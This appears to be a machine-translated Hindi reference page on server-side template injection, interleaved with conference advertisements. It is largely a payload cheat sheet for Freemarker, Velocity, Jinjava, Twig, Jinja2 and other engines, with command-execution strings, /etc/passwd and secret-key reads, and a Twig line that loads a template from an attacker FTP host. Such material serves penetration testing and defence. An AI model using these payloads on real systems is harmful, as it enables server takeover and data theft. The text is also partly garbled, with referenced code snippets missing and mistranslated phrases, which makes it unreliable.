RootedCONस्पेन में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरियों है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से name पैरामीटर को सीधे render फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। यह संभावित रूप से एक हमलावर को name पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।
उदाहरण के लिए, एक हमलावर इस तरह के पेलोड के साथ एक अनुरोध तैयार कर सकता है:
The payload {{bad-stuff-here}} को name पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-सचेत एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
Detection
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, टेम्पलेट को फज़ करना एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (${{<%[%'"}}%\) इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
Plaintext Context: XSS से अलग करने के लिए यह जांचें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, {{7*7}}, ${7*7})।
Code Context: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे greeting=data.username}}hello जो उपयोगकर्ता नाम लौटाता है।
Identification Phase
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें ${7/0}, {{7/0}}, और <%= 7/0 %> शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - सैंडबॉक्स बायपास
⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति ${7*7}, जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, अभिव्यक्ति इनलाइनिंग अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि [[...]] या [(...)] का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है [[${7*7}]].
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग्स से टेम्पलेट बनाने के लिए अपना TemplateResolver लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf अभिव्यक्ति पूर्वप्रसंस्करण भी प्रदान करता है, जहाँ डबल अंडरस्कोर (__...__) के भीतर अभिव्यक्तियों को पूर्वप्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
#{selection.__${sel.code}__}
Example of Vulnerability in Thymeleaf
निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के लिए संवेदनशील हो सकता है:
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
JavaServer Faces (JSF): JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
JavaServer Pages (JSP): JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
Contexts and Dependency Injection for Java EE (CDI): EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना सुनिश्चित होती है।
EL इंटरप्रेटर्स के शोषण के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:
RootedCONस्पेन में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक स्थल है।
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरणा लेता है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate एक नॉन-कंपाइलिंग PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स कार्यान्वयन वातावरण है, व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - टेम्पलेट प्रारूप
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार एक वेबशेल बनाया जा सकता है। आप एक कमजोर वेबऐप उदाहरण https://github.com/cnotin/RazorVulnerableApp में पा सकते हैं।
यह भले ही पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Go के टेम्पलेट इंजन में, इसके उपयोग की पुष्टि विशिष्ट पेलोड के साथ की जा सकती है:
{{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें Password विशेषता है, पास किया जाता है, तो {{ .Password }} इसे उजागर कर सकता है।
{{printf "%s" "ssti" }}: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
{{html "ssti"}}, {{js "ssti"}}: ये पेलोड "html" या "js" को जोड़ने के बिना "ssti" लौटाने चाहिए। आगे के निर्देशों को Go दस्तावेज़ में यहां खोजा जा सकता है।
XSS Exploitation
text/template पैकेज के साथ, XSS को सीधे पेलोड डालकर सरलता से किया जा सकता है। इसके विपरीत, html/template पैकेज प्रतिक्रिया को एन्कोड करता है ताकि इसे रोका जा सके (जैसे, {{"<script>alert(1)</script>"}} का परिणाम <script>alert(1)</script> होता है)। फिर भी, Go में टेम्पलेट परिभाषा और आह्वान इस एन्कोडिंग को बायपास कर सकते हैं: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE शोषण html/template और text/template के बीच काफी भिन्न होता है। text/template मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो html/template में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ यहां html/template के लिए और यहां text/template के लिए उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक System विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: {{ .System "ls" }}। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
RootedCONस्पेन में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।